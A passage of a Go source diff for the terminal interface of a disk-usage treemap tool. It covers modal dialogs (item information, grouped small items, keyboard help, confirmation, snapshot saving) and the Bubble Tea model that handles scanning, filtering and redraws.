f.scroll -= page
|
||||
case "pgdown", "space":
|
||||
f.scroll += page
|
||||
case "home":
|
||||
f.scroll = 0
|
||||
case "end":
|
||||
f.scroll = f.contentN
|
||||
default:
|
||||
goto modalSpecific
|
||||
}
|
||||
f.clampScroll()
|
||||
return nil
|
||||
}
|
||||
modalSpecific:
|
||||
closeIt, cmd := f.key(m, k)
|
||||
if closeIt {
|
||||
// Close this modal specifically (it may have opened another).
|
||||
for i, x := range m.modals {
|
||||
if x == f {
|
||||
m.modals = append(m.modals[:i], m.modals[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
m.dirty = true
|
||||
}
|
||||
return cmd
|
||||
}
|
||||
|
||||
func (f *modalFrame) clampScroll() {
|
||||
f.scroll = max(0, min(f.scroll, f.contentN-f.viewH))
|
||||
}
|
||||
|
||||
// paintModal dims the base screen and draws the top modal centred,
|
||||
// clamped to the terminal with a one-cell margin. Content that does not fit
|
||||
// scrolls.
|
||||
func (m *Model) paintModal(cv *Canvas) {
|
||||
t := m.theme
|
||||
// Dim everything underneath.
|
||||
cv.Restyle(treemap.Rect{X: 0, Y: 0, W: cv.W, H: cv.H}, func(s Style) Style {
|
||||
if t.Mono {
|
||||
s.Attr |= Faint
|
||||
return s
|
||||
}
|
||||
s.FG = s.FG.Mix(t.Bg, 0.6)
|
||||
s.BG = s.BG.Mix(RGB(0, 0, 0), 0.45)
|
||||
s.Attr &^= Bold
|
||||
return s
|
||||
})
|
||||
f := m.modals[len(m.modals)-1].(*modalFrame)
|
||||
maxW := cv.W - 2
|
||||
w := min(f.width()+4, maxW)
|
||||
w = max(w, min(30, maxW))
|
||||
inner := w - 4
|
||||
lines := f.content(m, inner)
|
||||
foot := f.footer(m)
|
||||
chrome := 4 // border top/bottom, title rule
|
||||
if foot != "" {
|
||||
chrome += 2
|
||||
}
|
||||
h := min(len(lines)+chrome, cv.H-2)
|
||||
h = max(h, min(chrome+1, cv.H))
|
||||
x0, y0 := (cv.W-w)/2, (cv.H-h)/2
|
||||
r := treemap.Rect{X: x0, Y: y0, W: w, H: h}
|
||||
bg := t.PanelBg
|
||||
if bg == 0 {
|
||||
bg = t.Bg
|
||||
}
|
||||
base := Style{FG: t.Fg, BG: bg}
|
||||
// Drop shadow.
|
||||
if !t.Mono {
|
||||
cv.Restyle(treemap.Rect{X: x0 + 1, Y: y0 + h, W: w, H: 1}, func(s Style) Style { s.BG = RGB(0, 0, 0); return s })
|
||||
cv.Restyle(treemap.Rect{X: x0 + w, Y: y0 + 1, W: 1, H: h}, func(s Style) Style { s.BG = RGB(0, 0, 0); return s })
|
||||
}
|
||||
cv.Fill(r, " ", base)
|
||||
border := Style{FG: t.Accent, BG: bg, Attr: Bold}
|
||||
box := BoxRound
|
||||
if t.ASCII {
|
||||
box = BoxASCII
|
||||
}
|
||||
cv.Box(r, box, border)
|
||||
cv.Text(x0+2, y0+1, strings.ToUpper(f.title()), inner, Style{FG: t.Accent, BG: bg, Attr: Bold})
|
||||
rule := "─"
|
||||
if t.ASCII {
|
||||
rule = "-"
|
||||
}
|
||||
cv.HLine(x0+1, y0+2, w-2, rule, Style{FG: t.Faint, BG: bg})
|
||||
f.viewH = h - chrome
|
||||
f.contentN = len(lines)
|
||||
f.clampScroll()
|
||||
for i := 0; i < f.viewH && f.scroll+i < len(lines); i++ {
|
||||
x := x0 + 2
|
||||
for _, sp := range lines[f.scroll+i] {
|
||||
st := base
|
||||
if sp.st != nil {
|
||||
st = *sp.st
|
||||
if st.BG == 0 {
|
||||
st.BG = bg
|
||||
}
|
||||
}
|
||||
x += cv.Text(x, y0+3+i, sp.s, x0+2+inner-x, st)
|
||||
}
|
||||
}
|
||||
if len(lines) > f.viewH && f.viewH > 0 {
|
||||
ind := textutil.Count(int64(f.scroll+1)) + "–" + textutil.Count(int64(min(f.scroll+f.viewH, len(lines)))) +
|
||||
"/" + textutil.Count(int64(len(lines)))
|
||||
if f.scroll > 0 {
|
||||
ind = "▲ " + ind
|
||||
}
|
||||
if f.scroll+f.viewH < len(lines) {
|
||||
ind += " ▼"
|
||||
}
|
||||
cv.TextRight(x0+1, y0+1, w-3, ind, Style{FG: t.Muted, BG: bg})
|
||||
}
|
||||
if foot != "" {
|
||||
cv.HLine(x0+1, y0+h-3, w-2, rule, Style{FG: t.Faint, BG: bg})
|
||||
cv.Text(x0+2, y0+h-2, foot, inner, Style{FG: t.Muted, BG: bg})
|
||||
}
|
||||
m.hits = append(m.hits[:0], hit{r, func(*Model, bool) tea.Cmd { return nil }})
|
||||
}
|
||||
|
||||
// wrap breaks s into chunks of at most w cells (used for long paths).
|
||||
func wrap(s string, w int) []string {
|
||||
if w <= 0 {
|
||||
return nil
|
||||
}
|
||||
var out []string
|
||||
var cur strings.Builder
|
||||
cw := 0
|
||||
textutil.Clusters(s, func(c string, cwid int) bool {
|
||||
if cw+cwid > w {
|
||||
out = append(out, cur.String())
|
||||
cur.Reset()
|
||||
cw = 0
|
||||
}
|
||||
cur.WriteString(c)
|
||||
cw += cwid
|
||||
return true
|
||||
})
|
||||
if cur.Len() > 0 || len(out) == 0 {
|
||||
out = append(out, cur.String())
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,375 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/export"
|
||||
"github.com/andydixon/mapsize/internal/filter"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/platform"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
)
|
||||
|
||||
// ---- Item information -------------------------------------------------------
|
||||
|
||||
type infoModal struct {
|
||||
id inventory.NodeID
|
||||
btime int64 // live birth time (0 if unknown)
|
||||
live bool // metadata re-read from the filesystem
|
||||
}
|
||||
|
||||
func newInfoModal(m *Model, id inventory.NodeID) modal {
|
||||
md := &infoModal{id: id}
|
||||
if !m.snapshot {
|
||||
// Birth time is not kept in the inventory; read it live.
|
||||
if meta, err := platform.Lstat(m.tree.Path(id)); err == nil {
|
||||
md.btime, md.live = meta.BTime, true
|
||||
}
|
||||
}
|
||||
return md
|
||||
}
|
||||
|
||||
func (*infoModal) width() int { return 72 }
|
||||
|
||||
func (md *infoModal) title() string { return "Item information" }
|
||||
|
||||
func (md *infoModal) footer(m *Model) string {
|
||||
s := "Esc close · c copy path · o reveal · Space go to"
|
||||
if !m.opts.ReadOnly && !m.snapshot {
|
||||
s += " · d trash"
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func (md *infoModal) content(m *Model, w int) []line {
|
||||
t := m.theme
|
||||
tr := m.tree
|
||||
n := tr.Node(md.id)
|
||||
ks := Style{FG: t.Muted}
|
||||
vs := Style{FG: t.Fg}
|
||||
bold := Style{FG: t.Fg, Attr: Bold}
|
||||
warn := Style{FG: t.Warn, Attr: Bold}
|
||||
var out []line
|
||||
add := func(k, v string) { out = append(out, kv(k, v, ks, vs)) }
|
||||
addS := func(k, v string, st Style) { out = append(out, kv(k, v, ks, st)) }
|
||||
blank := func() { out = append(out, txt("")) }
|
||||
|
||||
col := m.colorOf(int64(md.id))
|
||||
title := Style{FG: col.Mix(RGB(255, 255, 255), 0.3), Attr: Bold}
|
||||
for _, l := range wrap(textutil.Sanitize(n.Name), w) {
|
||||
out = append(out, styled(l, title))
|
||||
}
|
||||
blank()
|
||||
out = append(out, styled("Path", ks))
|
||||
for _, l := range wrap(textutil.Sanitize(tr.Path(md.id)), w) {
|
||||
out = append(out, styled(l, vs))
|
||||
}
|
||||
if textutil.Sanitize(n.Name) != n.Name {
|
||||
out = append(out, styled("Name contains control or invalid characters (shown escaped)", warn))
|
||||
}
|
||||
blank()
|
||||
if n.IsDir() {
|
||||
addS("Total logical", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.TotSize), textutil.Count(n.TotSize)), bold)
|
||||
addS("Total allocated", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.TotAlloc), textutil.Count(n.TotAlloc)), bold)
|
||||
add("Files", textutil.Count(int64(n.Files)))
|
||||
add("Directories", textutil.Count(int64(n.Dirs)))
|
||||
if p := n.Parent; p != inventory.NoNode {
|
||||
add("Of parent", textutil.Percent(n.Total(m.sizeMode), tr.Node(p).Total(m.sizeMode)))
|
||||
}
|
||||
add("Of scan", textutil.Percent(n.Total(m.sizeMode), tr.Node(0).Total(m.sizeMode)))
|
||||
k := m.kidsOf(md.id)
|
||||
if len(k.ids) > 0 {
|
||||
add("Largest child", fmt.Sprintf("%s (%s)", textutil.Sanitize(tr.Node(k.ids[0]).Name), textutil.Size(k.sizes[0])))
|
||||
}
|
||||
if n.Errors > 0 {
|
||||
addS("Errors beneath", textutil.Count(int64(n.Errors)), Style{FG: t.Err, Attr: Bold})
|
||||
}
|
||||
state := "complete"
|
||||
switch {
|
||||
case n.Flags&inventory.FlagIncomplete != 0:
|
||||
state = "incomplete (not fully read)"
|
||||
case n.Flags&inventory.FlagScanned == 0 && m.scanning:
|
||||
state = "scanning…"
|
||||
case n.Flags&(inventory.FlagSkippedFS|inventory.FlagVirtualFS|inventory.FlagLoop) != 0:
|
||||
state = "not descended"
|
||||
}
|
||||
add("Scan state", state)
|
||||
} else {
|
||||
addS("Logical size", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.Size), textutil.Count(n.Size)), bold)
|
||||
alloc := fmt.Sprintf("%s (%s bytes)", textutil.Size(n.Alloc), textutil.Count(n.Alloc))
|
||||
if n.Flags&inventory.FlagAllocUnknown != 0 {
|
||||
alloc = "unknown on this platform"
|
||||
}
|
||||
addS("Allocated size", alloc, bold)
|
||||
if p := n.Parent; p != inventory.NoNode {
|
||||
add("Of parent", textutil.Percent(n.Own(m.sizeMode), tr.Node(p).Total(m.sizeMode)))
|
||||
}
|
||||
}
|
||||
if r := m.search.result; r != nil {
|
||||
add("Matching filter", textutil.Size(r.Size(md.id)))
|
||||
}
|
||||
if d := m.opts.Diff; d != nil {
|
||||
if old, ok := d.OldSize(md.id, m.sizeMode); ok {
|
||||
add("In old snapshot", textutil.Size(old))
|
||||
addS("Change", textutil.SignedSize(n.Total(m.sizeMode)-old), bold)
|
||||
} else {
|
||||
addS("Change", "new since old snapshot", Style{FG: t.DiffNew, Attr: Bold})
|
||||
}
|
||||
}
|
||||
blank()
|
||||
add("Type", n.Kind.String())
|
||||
if !n.IsDir() {
|
||||
if e := tr.ExtName(n); e != "" {
|
||||
add("Extension", textutil.Sanitize(e))
|
||||
}
|
||||
add("Category", n.Cat.String())
|
||||
}
|
||||
blank()
|
||||
if n.MTime > 0 {
|
||||
add("Modified", fmtTime(n.MTime))
|
||||
}
|
||||
if md.btime > 0 {
|
||||
add("Created", fmtTime(md.btime))
|
||||
}
|
||||
blank()
|
||||
add("Mode", fs.FileMode(n.Mode).String())
|
||||
add("Owner", textutil.Sanitize(platform.UserName(n.UID)))
|
||||
add("Group", textutil.Sanitize(platform.GroupName(n.GID)))
|
||||
if !n.IsDir() {
|
||||
add("Hard links", fmt.Sprint(n.Nlink))
|
||||
sparse := "No"
|
||||
if n.Flags&inventory.FlagSparse != 0 {
|
||||
sparse = fmt.Sprintf("Yes (or compressed) — %s not allocated", textutil.Size(n.Size-n.Alloc))
|
||||
}
|
||||
add("Sparse", sparse)
|
||||
}
|
||||
if fl := export.FlagList(n.Flags &^ (inventory.FlagScanned | inventory.FlagSparse)); len(fl) > 0 {
|
||||
addS("Flags", strings.Join(fl, ", "), warn)
|
||||
}
|
||||
if n.Flags&inventory.FlagHardlinkDup != 0 {
|
||||
out = append(out, styled("Another path to this inode was counted; this one adds nothing to totals.", Style{FG: t.Muted}))
|
||||
}
|
||||
if m.snapshot {
|
||||
out = append(out, txt(""), styled("From snapshot — metadata as recorded, not live.", Style{FG: t.Muted}))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04:05") }
|
||||
|
||||
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
switch k {
|
||||
case "c":
|
||||
p := m.tree.Path(md.id)
|
||||
return false, tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard"))
|
||||
case "o":
|
||||
m.sel = int64(md.id)
|
||||
return false, m.reveal()
|
||||
case "enter":
|
||||
return true, nil
|
||||
case "g", "right":
|
||||
m.jumpTo(md.id)
|
||||
return true, nil
|
||||
case "d", "delete":
|
||||
m.sel = int64(md.id)
|
||||
return true, m.requestTrash()
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// ---- LOD group ------------------------------------------------------------------
|
||||
|
||||
type groupModal struct{ g *group }
|
||||
|
||||
func newGroupModal(_ *Model, g *group) modal { return &groupModal{g} }
|
||||
|
||||
func (*groupModal) width() int { return 70 }
|
||||
func (*groupModal) title() string { return "Smaller items (grouped)" }
|
||||
func (*groupModal) footer(*Model) string { return "Esc close · Space shows them in the list view" }
|
||||
|
||||
func (md *groupModal) content(m *Model, w int) []line {
|
||||
t := m.theme
|
||||
out := []line{
|
||||
txt(fmt.Sprintf("%s items too small to draw individually at this size,", textutil.Count(int64(len(md.g.ids))))),
|
||||
txt(fmt.Sprintf("totalling %s. Zoom in or enlarge the terminal to see them.", textutil.Size(md.g.size))),
|
||||
txt(""),
|
||||
}
|
||||
for i, id := range md.g.ids {
|
||||
if i == 200 {
|
||||
out = append(out, styled(fmt.Sprintf("… and %s more", textutil.Count(int64(len(md.g.ids)-200))), Style{FG: t.Muted}))
|
||||
break
|
||||
}
|
||||
n := m.tree.Node(id)
|
||||
name := textutil.Sanitize(n.Name)
|
||||
if n.IsDir() {
|
||||
name += "/"
|
||||
}
|
||||
out = append(out, line{{textutil.PadLeft(textutil.Size(m.sizeOf(id)), 11) + " ", &Style{FG: t.Muted}},
|
||||
{textutil.Truncate(name, w-13), &Style{FG: m.colorOf(int64(id)).Mix(t.Fg, 0.4)}}})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (md *groupModal) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
if k == "enter" {
|
||||
m.sel = int64(md.g.ids[0])
|
||||
m.setViewByName("List")
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// ---- Help ---------------------------------------------------------------------
|
||||
|
||||
type helpModal struct{}
|
||||
|
||||
func newHelpModal(*Model) modal { return helpModal{} }
|
||||
|
||||
func (helpModal) width() int { return 78 }
|
||||
func (helpModal) title() string { return "Keyboard reference" }
|
||||
func (helpModal) footer(*Model) string { return "Esc close · ↑↓ scroll" }
|
||||
|
||||
func (helpModal) content(m *Model, _ int) []line {
|
||||
t := m.theme
|
||||
h := Style{FG: t.Accent, Attr: Bold}
|
||||
k := Style{FG: t.Sel, Attr: Bold}
|
||||
d := Style{FG: t.Fg}
|
||||
var out []line
|
||||
sec := func(s string) {
|
||||
if len(out) > 0 {
|
||||
out = append(out, txt(""))
|
||||
}
|
||||
out = append(out, styled(s, h))
|
||||
}
|
||||
row := func(keys, desc string) { out = append(out, line{{" " + textutil.PadRight(keys, 19), &k}, {desc, &d}}) }
|
||||
sec("NAVIGATION")
|
||||
row("↑ ↓ ← → hjkl", "move spatially through the treemap")
|
||||
row("Enter", "inspect the selected item")
|
||||
row("Space →", "zoom into the selected directory")
|
||||
row("Backspace ←", "zoom out one level")
|
||||
row("Home", "back to the scan root")
|
||||
row("click / dbl-click", "select / zoom (mouse)")
|
||||
row("wheel", "zoom in/out (map), scroll (lists)")
|
||||
sec("SEARCH & FILTER")
|
||||
row("/", "search or filter; the map shows only matches")
|
||||
row("Esc", "clear the filter")
|
||||
out = append(out, styled(" ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d", Style{FG: t.Muted}))
|
||||
out = append(out, styled(" path contains cache AND NOT type = dir owner = andy flag = sparse", Style{FG: t.Muted}))
|
||||
fields := strings.Fields(filter.Fields)
|
||||
out = append(out, styled(" fields: "+strings.Join(fields[:7], " "), Style{FG: t.Muted}))
|
||||
out = append(out, styled(" "+strings.Join(fields[7:], " "), Style{FG: t.Muted}))
|
||||
out = append(out, styled(" sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y", Style{FG: t.Muted}))
|
||||
sec("VIEWS")
|
||||
row("Tab Shift+Tab", "next / previous view")
|
||||
row("1 – 7", "jump to a view")
|
||||
row("x", "file types (extension statistics)")
|
||||
row("g", "top lists: largest, oldest, sparse, hard links …")
|
||||
row("e", "scan information and errors")
|
||||
row("D", "find duplicate files (reads file contents)")
|
||||
sec("APPLICATION")
|
||||
row("a", "toggle allocated / logical (apparent) size")
|
||||
row("c", "copy path to clipboard")
|
||||
row("o", "reveal in file manager")
|
||||
if !m.opts.ReadOnly {
|
||||
row("d", "move to trash (asks first)")
|
||||
}
|
||||
row("s", "save snapshot")
|
||||
row("r", "rescan")
|
||||
row("T", "cycle colour theme")
|
||||
row("Ctrl+C", "cancel scan; press again to quit")
|
||||
row("q", "quit")
|
||||
out = append(out, txt(""))
|
||||
units := "IEC (KiB = 1024 bytes)"
|
||||
if textutil.SI {
|
||||
units = "SI (kB = 1000 bytes)"
|
||||
}
|
||||
out = append(out, styled("Sizes: "+m.sizeMode.String()+" · units: "+units, Style{FG: t.Muted}))
|
||||
return out
|
||||
}
|
||||
|
||||
func (helpModal) key(*Model, string) (bool, tea.Cmd) { return false, nil }
|
||||
|
||||
// ---- Confirmation -------------------------------------------------------------
|
||||
|
||||
type confirmModal struct {
|
||||
ttl string
|
||||
body []string
|
||||
yes string
|
||||
onYes func(m *Model) tea.Cmd
|
||||
}
|
||||
|
||||
func (c *confirmModal) width() int {
|
||||
w := 40
|
||||
for _, b := range c.body {
|
||||
w = max(w, textutil.Width(b))
|
||||
}
|
||||
return min(w, 90)
|
||||
}
|
||||
func (c *confirmModal) title() string { return c.ttl }
|
||||
func (c *confirmModal) footer(*Model) string { return "y " + c.yes + " · n / Esc cancel" }
|
||||
func (c *confirmModal) content(m *Model, w int) []line {
|
||||
var out []line
|
||||
for _, b := range c.body {
|
||||
for _, l := range wrap(b, w) {
|
||||
out = append(out, txt(l))
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
func (c *confirmModal) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
switch k {
|
||||
case "y", "Y":
|
||||
return true, c.onYes(m)
|
||||
case "n", "N", "enter":
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// ---- Save snapshot ---------------------------------------------------------------
|
||||
|
||||
type saveModal struct{ ed lineEditor }
|
||||
|
||||
func newSaveModal(m *Model) modal {
|
||||
md := &saveModal{}
|
||||
md.ed.set(defaultSnapshotName(m.tree.Stats.Root))
|
||||
return md
|
||||
}
|
||||
|
||||
func (*saveModal) editing() bool { return true }
|
||||
func (md *saveModal) editor() *lineEditor { return &md.ed }
|
||||
func (*saveModal) width() int { return 70 }
|
||||
func (*saveModal) title() string { return "Save snapshot" }
|
||||
func (*saveModal) footer(*Model) string { return "Enter save · Esc cancel" }
|
||||
|
||||
func (md *saveModal) content(m *Model, w int) []line {
|
||||
t := m.theme
|
||||
out := []line{txt("File:")}
|
||||
s := textutil.Sanitize(md.ed.String())
|
||||
for _, l := range wrap(s+"█", w) {
|
||||
out = append(out, styled(l, Style{FG: t.Fg, Attr: Bold}))
|
||||
}
|
||||
if m.scanning {
|
||||
out = append(out, txt(""), styled("The scan is still running: the snapshot will be marked incomplete.", Style{FG: t.Warn}))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (md *saveModal) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
switch k {
|
||||
case "esc":
|
||||
return true, nil
|
||||
case "enter":
|
||||
p := strings.TrimSpace(md.ed.String())
|
||||
if p == "" {
|
||||
return false, nil
|
||||
}
|
||||
return true, tea.Batch(m.saveSnapshot(p), m.info("Saving snapshot…"))
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
@@ -0,0 +1,447 @@
|
||||
// Package tui is the interactive terminal interface. All drawing goes to a
|
||||
// Canvas; Bubble Tea only transports the finished frame.
|
||||
//
|
||||
// Threading: Update and View run on Bubble Tea's event goroutine. The scan
|
||||
// controller mutates the inventory concurrently, so every read of tree data
|
||||
// happens under tree.RLock (taken once per frame in View, and briefly in key
|
||||
// handlers). The model itself is only touched on the event goroutine.
|
||||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/brand"
|
||||
"github.com/andydixon/mapsize/internal/config"
|
||||
"github.com/andydixon/mapsize/internal/filter"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/scan"
|
||||
"github.com/andydixon/mapsize/internal/snapshot"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// Options configures the interactive session.
|
||||
type Options struct {
|
||||
ReadOnly bool
|
||||
Theme string
|
||||
SizeMode inventory.SizeMode
|
||||
Mouse bool
|
||||
Color string // auto, truecolor, 256, 16, none
|
||||
Save string // save a snapshot here when the scan completes
|
||||
Settings config.Settings
|
||||
Diff *snapshot.Diff // compare mode
|
||||
// Start begins a scan (or returns a loaded tree with a nil scanner).
|
||||
Start func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error)
|
||||
}
|
||||
|
||||
// Messages.
|
||||
type (
|
||||
tickMsg time.Time
|
||||
scanDoneMsg struct{ s *scan.Scanner }
|
||||
fatalMsg struct {
|
||||
v any
|
||||
stack []byte
|
||||
}
|
||||
filterMsg struct {
|
||||
gen int
|
||||
res *filter.Result
|
||||
err error
|
||||
}
|
||||
filterDebounceMsg struct{ gen int }
|
||||
)
|
||||
|
||||
// Model is the Bubble Tea model.
|
||||
type Model struct {
|
||||
opts Options
|
||||
theme *Theme
|
||||
|
||||
scanner *scan.Scanner
|
||||
tree *inventory.Tree
|
||||
cancel context.CancelFunc
|
||||
scanning bool
|
||||
snapshot bool // tree was loaded from a snapshot (not the live filesystem)
|
||||
ctrlC bool // a Ctrl+C already cancelled the scan
|
||||
|
||||
w, h int
|
||||
profile colorprofile.Profile
|
||||
forced bool // profile forced by --color
|
||||
sizeMode inventory.SizeMode
|
||||
|
||||
views []view
|
||||
view int
|
||||
|
||||
zoom inventory.NodeID
|
||||
sel int64 // selected block: NodeID, or groupID(parent) for an LOD group
|
||||
// userSel is set once the user has chosen a selection; before that the
|
||||
// selection follows the largest block.
|
||||
userSel bool
|
||||
zoomed bool // zoom changed during this message (zoomTo set userSel)
|
||||
|
||||
search searchState
|
||||
modals []modal
|
||||
|
||||
toast string
|
||||
toastStyle Style
|
||||
toastUntil time.Time
|
||||
|
||||
// Frame and data caches.
|
||||
dirty bool
|
||||
frame string
|
||||
dataVer int // bumped when sizes/filters change; invalidates caches
|
||||
lastData time.Time // last time dataVer advanced during a scan
|
||||
kidsCache map[inventory.NodeID]*kids
|
||||
kidsVer int
|
||||
tm *tmLayout
|
||||
hits []hit // clickable regions from the last frame
|
||||
hover int64
|
||||
lastClick time.Time
|
||||
lastClickI int64
|
||||
ticking bool
|
||||
|
||||
pendingZoom string // path to re-zoom after a rescan
|
||||
dups *dupState
|
||||
|
||||
fatal *fatalMsg
|
||||
quit bool
|
||||
}
|
||||
|
||||
// hit is a clickable region recorded while painting.
|
||||
type hit struct {
|
||||
r treemap.Rect
|
||||
fn func(m *Model, double bool) tea.Cmd
|
||||
}
|
||||
|
||||
func groupID(parent inventory.NodeID) int64 { return -1 - int64(parent) }
|
||||
func isGroup(id int64) bool { return id < 0 }
|
||||
func groupParent(id int64) inventory.NodeID { return inventory.NodeID(-1 - id) }
|
||||
|
||||
func newModel(opts Options, s *scan.Scanner, t *inventory.Tree, cancel context.CancelFunc) *Model {
|
||||
m := &Model{
|
||||
opts: opts, scanner: s, tree: t, cancel: cancel, scanning: s != nil, snapshot: s == nil,
|
||||
sizeMode: opts.SizeMode, dirty: true, kidsCache: map[inventory.NodeID]*kids{}, hover: noSel,
|
||||
lastClickI: noSel,
|
||||
}
|
||||
name := opts.Theme
|
||||
if name == "" || name == "default" {
|
||||
if _, ok := os.LookupEnv("NO_COLOR"); ok {
|
||||
name = "mono"
|
||||
}
|
||||
}
|
||||
m.theme = LoadTheme(name, opts.Settings)
|
||||
if strings.EqualFold(os.Getenv("TERM"), "linux") || os.Getenv("MAPSIZE_ASCII") != "" {
|
||||
m.theme.ASCII = true
|
||||
}
|
||||
m.views = []view{&mapView{}, &listView{}, &extView{}, &topView{}, &infoView{}}
|
||||
if opts.Diff != nil {
|
||||
m.views = append(m.views, &changesView{})
|
||||
}
|
||||
m.zoom = t.Root()
|
||||
m.sel = noSel
|
||||
return m
|
||||
}
|
||||
|
||||
const noSel int64 = 1 << 62
|
||||
|
||||
// debugPanic lets developers verify terminal restoration on crashes:
|
||||
// MAPSIZE_DEBUG_PANIC=ui panics on the first key press; =scanner panics in
|
||||
// a background goroutine shortly after start.
|
||||
var debugPanic = os.Getenv("MAPSIZE_DEBUG_PANIC")
|
||||
|
||||
// Init starts ticking and waits for scan completion.
|
||||
func (m *Model) Init() tea.Cmd {
|
||||
cmds := []tea.Cmd{tea.RequestWindowSize}
|
||||
if m.scanning {
|
||||
cmds = append(cmds, waitScan(m.scanner), m.startTicking())
|
||||
}
|
||||
return tea.Batch(cmds...)
|
||||
}
|
||||
|
||||
func waitScan(s *scan.Scanner) tea.Cmd {
|
||||
return func() tea.Msg { <-s.Done(); return scanDoneMsg{s} }
|
||||
}
|
||||
|
||||
func (m *Model) refreshInterval() time.Duration {
|
||||
hz := m.opts.Settings.RefreshHz
|
||||
if hz <= 0 {
|
||||
hz = 10
|
||||
}
|
||||
return time.Second / time.Duration(hz)
|
||||
}
|
||||
|
||||
// startTicking returns a tick command unless one is already pending.
|
||||
func (m *Model) startTicking() tea.Cmd {
|
||||
if m.ticking {
|
||||
return nil
|
||||
}
|
||||
m.ticking = true
|
||||
return tea.Tick(m.refreshInterval(), func(t time.Time) tea.Msg { return tickMsg(t) })
|
||||
}
|
||||
|
||||
func (m *Model) needsTicks() bool {
|
||||
return m.scanning || time.Now().Before(m.toastUntil) || (m.dups != nil && m.dups.running)
|
||||
}
|
||||
|
||||
// notify shows a transient status message.
|
||||
func (m *Model) notify(s string, st Style) tea.Cmd {
|
||||
m.toast, m.toastStyle, m.toastUntil = s, st, time.Now().Add(4*time.Second)
|
||||
m.dirty = true
|
||||
return m.startTicking()
|
||||
}
|
||||
|
||||
func (m *Model) info(s string) tea.Cmd {
|
||||
return m.notify(s, Style{FG: m.theme.Fg, BG: m.theme.StatusBg})
|
||||
}
|
||||
func (m *Model) warn(s string) tea.Cmd {
|
||||
return m.notify(s, Style{FG: m.theme.Warn, BG: m.theme.StatusBg, Attr: Bold})
|
||||
}
|
||||
|
||||
// invalidate marks size-dependent caches stale.
|
||||
func (m *Model) invalidate() {
|
||||
m.dataVer++
|
||||
m.dirty = true
|
||||
}
|
||||
|
||||
// Update handles one message.
|
||||
func (m *Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
||||
cmd := m.update(msg)
|
||||
if m.quit {
|
||||
return m, tea.Quit
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
func (m *Model) update(msg tea.Msg) tea.Cmd {
|
||||
switch msg := msg.(type) {
|
||||
case tea.WindowSizeMsg:
|
||||
// Only record the size; layout is recomputed lazily in View, so a
|
||||
// storm of resize events costs at most one layout per frame.
|
||||
if msg.Width != m.w || msg.Height != m.h {
|
||||
m.w, m.h = msg.Width, msg.Height
|
||||
m.dirty = true
|
||||
}
|
||||
case tickMsg:
|
||||
m.ticking = false
|
||||
if m.scanning {
|
||||
m.dirty = true
|
||||
if time.Since(m.lastData) >= 400*time.Millisecond {
|
||||
m.invalidate()
|
||||
m.lastData = time.Now()
|
||||
}
|
||||
m.resolvePendingZoom()
|
||||
}
|
||||
if m.toast != "" && time.Now().After(m.toastUntil) {
|
||||
m.toast = ""
|
||||
m.dirty = true
|
||||
}
|
||||
var cmds []tea.Cmd
|
||||
if m.scanning && m.search.query != nil && time.Since(m.search.appliedAt) > time.Second {
|
||||
cmds = append(cmds, m.applyFilter())
|
||||
}
|
||||
if m.dups != nil && m.dups.running {
|
||||
m.dirty = true
|
||||
}
|
||||
if m.needsTicks() {
|
||||
cmds = append(cmds, m.startTicking())
|
||||
}
|
||||
return tea.Batch(cmds...)
|
||||
case scanDoneMsg:
|
||||
if msg.s != m.scanner {
|
||||
return nil // a superseded scan
|
||||
}
|
||||
return m.scanFinished()
|
||||
case filterMsg:
|
||||
return m.filterResult(msg)
|
||||
case filterDebounceMsg:
|
||||
if msg.gen == m.search.gen {
|
||||
return m.applyFilter()
|
||||
}
|
||||
case dupProgressMsg, dupDoneMsg:
|
||||
return m.dupMsg(msg)
|
||||
case trashDoneMsg:
|
||||
return m.trashDone(msg)
|
||||
case saveDoneMsg:
|
||||
if msg.err != nil {
|
||||
return m.warn("Snapshot save failed: " + textutil.Sanitize(msg.err.Error()))
|
||||
}
|
||||
return m.info("Saved snapshot " + textutil.Sanitize(msg.path))
|
||||
case fatalMsg:
|
||||
m.fatal = &msg
|
||||
m.quit = true
|
||||
case tea.KeyPressMsg:
|
||||
if debugPanic == "ui" {
|
||||
